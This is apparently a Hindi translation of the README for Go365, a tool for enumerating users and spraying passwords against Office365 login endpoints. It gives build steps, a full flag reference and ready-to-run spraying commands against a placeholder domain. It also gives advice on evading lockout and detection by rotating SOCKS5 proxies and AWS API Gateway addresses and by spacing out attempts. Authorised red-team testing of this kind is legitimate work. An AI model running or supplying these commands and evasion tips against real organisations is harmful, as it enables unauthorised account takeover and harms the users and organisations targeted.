
एक Office365 उपयोगकर्ता हमला उपकरण
Go365 का उपयोग करने से पहले कृपया यह पूरा README पढ़ें!
Go365 एक टूल है जो Office365 (अब/जल्द ही Microsoft365) का उपयोग करने वाले संगठनों पर उपयोगकर्ता गणना* और पासवर्ड अनुमान लगाने के हमले करने के लिए डिज़ाइन किया गया है। Go365 login.microsoftonline.com पर एक अद्वितीय SOAP API एंडपॉइंट का उपयोग करता है जिसका अधिकांश अन्य टूल उपयोग नहीं करते। जब ईमेल पते और पासवर्ड के साथ क्वेरी की जाती है, तो एंडपॉइंट एक Azure AD प्रमाणीकरण और प्राधिकरण कोड के साथ प्रतिक्रिया करता है। इस कोड को फिर Go365 द्वारा संसाधित किया जाता है और परिणाम स्क्रीन या आउटपुट फ़ाइल पर मुद्रित किया जाता है।
* उपयोगकर्ता गणना पासवर्ड अनुमान के प्रयास के साथ मिलकर की जाती है। इस प्रकार, केवल उपयोगकर्ता गणना करने के लिए कोई विशिष्ट फ्लैग या फ़ंक्शनलिटी नहीं है। इसके बजाय, अपना पहला पासवर्ड अनुमान हमला करें, फिर वैध उपयोगकर्ताओं के लिए परिणामों को पार्स करें।
अपने OS के लिए पूर्व-संकलित बाइनरी यहाँ डाउनलोड करें।
स्रोत डाउनलोड करें और स्थानीय रूप से संकलित करें।
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
संस्करण: 2.0
लेखक: paveway3, h0useh3ad, S4R1N, EatonChips
उपयोग:
-h यह सामग्री दिखाता है
आवश्यक - एंडपॉइंट:
-endpoint [rst या graph] कौन सा एंडपॉइंट उपयोग करना है यह निर्दिष्ट करें
: (-endpoint rst) *क्लासिक Go365!* login.microsoftonline.com/rst2.srf. XML प्रतिक्रिया के साथ SOAP XML अनुरोध
: (-endpoint graph) login.microsoft.com/common/oauth2/token. JSON प्रतिक्रिया के साथ HTTP POST अनुरोध
आवश्यक - उपयोगकर्ता नाम और पासवर्ड:
-u <string> परीक्षण करने के लिए एकल उपयोगकर्ता नाम
: "@domain.com" के साथ या बिना उपयोगकर्ता नाम
: डोमेन निर्दिष्ट करने के लिए -d फ्लैग भी प्रदान करना होगा
: (-u [email protected])
-ul <file> उपयोग करने के लिए उपयोगकर्ता नाम सूची (-u को ओवरराइड करता है)
: फ़ाइल में प्रति पंक्ति एक उपयोगकर्ता नाम होना चाहिए
: उपयोगकर्ता नाम में "@domain.com" हो सकता है
: यदि कोई डोमेन निर्दिष्ट नहीं है, तो -d डोमेन का उपयोग किया जाता है
: (-ul ./usernamelist.txt)
-p <string> प्रयास करने के लिए पासवर्ड
: यदि इसमें विशेष वर्ण हों तो एकल उद्धरण में बंद करें
: (-p password123) या (-p 'p@s$w0|2d')
-pl <file> उपयोग करने के लिए पासवर्ड सूची (-p को ओवरराइड करता है)
: फ़ाइल में प्रति पंक्ति एक पासवर्ड होना चाहिए
: प्रयासों के प्रत्येक सेट के बीच विराम शामिल करने के लिए -delay फ्लैग का उपयोग किया जा सकता है
: (-pl ./passwordlist.txt)
-up <file> उपयोग करने के लिए यूज़रपास सूची (उपरोक्त सभी विकल्पों को ओवरराइड करता है)
: प्रति पंक्ति एक उपयोगकर्ता नाम और पासवर्ड ":" द्वारा अलग किया गया
: डुप्लिकेट उपयोगकर्ता नामों से सावधान रहें!
: (-up ./userpasslist.txt)
आवश्यक/वैकल्पिक - डोमेन:
-d <string> परीक्षण करने के लिए डोमेन
: इसका उपयोग करें यदि उपयोगकर्ता नाम या उपयोगकर्ता नाम सूची में "@targetcompany.com" शामिल नहीं है
: (-d targetcompany.com)
वैकल्पिक:
-w <int> प्रयासों के बीच प्रतीक्षा करने का समय सेकंड में।
: डिफ़ॉल्ट: 1 सेकंड। 5 सेकंड अनुशंसित।
: (-w 10)
-delay <int> पासवर्ड सूची का उपयोग करते समय स्प्रे के बीच विलंब (सेकंड में)।
: डिफ़ॉल्ट: 60 मिनट (3600 सेकंड) अनुशंसित।
: (-delay 7200)
-o <string> लिखने के लिए आउटपुट फ़ाइल
: यदि फ़ाइल मौजूद है तो जोड़ा जाएगा, अन्यथा एक फ़ाइल बनाई जाती है
: (-o ./Go365output.out)
-proxy <string> उपयोग करने के लिए एकल SOCKS5 प्रॉक्सी सर्वर
: IP पता और पोर्ट ":" द्वारा अलग किया गया
: SOCKS5 प्रॉक्सी
: (-proxy 127.0.0.1:1080)
-proxyfile <string> उपयोग करने के लिए SOCKS5 प्रॉक्सी सर्वरों की सूची वाली फ़ाइल
: प्रत्येक पंक्ति पर IP पता और पोर्ट ":" द्वारा अलग किया गया
: प्रत्येक अनुरोध से पहले एक प्रॉक्सी सर्वर को बेतरतीब ढंग से चुनता है
: (-proxyfile ./proxyfile.txt)
-url <string> अनुरोध भेजने के लिए एंडपॉइंट
: Amazon API Gateway 'Invoke URL'
: अत्यधिक अनुशंसित है कि आप इस विकल्प का उपयोग करें। इसे Google करें, या
: इसे देखें: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug डीबग मोड।
: xml प्रतिक्रिया प्रिंट करें
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
आप -pl और -delay फ्लैग का उपयोग करके अपने पूरे पासवर्ड अनुमान अभियान को शेड्यूल भी कर सकते हैं :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*प्रोटिप: यदि आपको बहुत सारे "खाता लॉक हो गया" प्रतिक्रियाएँ मिलती हैं, तो आप प्रॉक्सी या AWS Gateway का उपयोग करना चाह सकते हैं।
प्रोटिप: आप शायद वास्तव में खातों को लॉक नहीं कर रहे हैं।
लक्ष्य डोमेन के खिलाफ कई क्वेरी के बाद, परिणाम यह रिपोर्ट करना शुरू कर सकते हैं कि खाते लॉक हो गए हैं।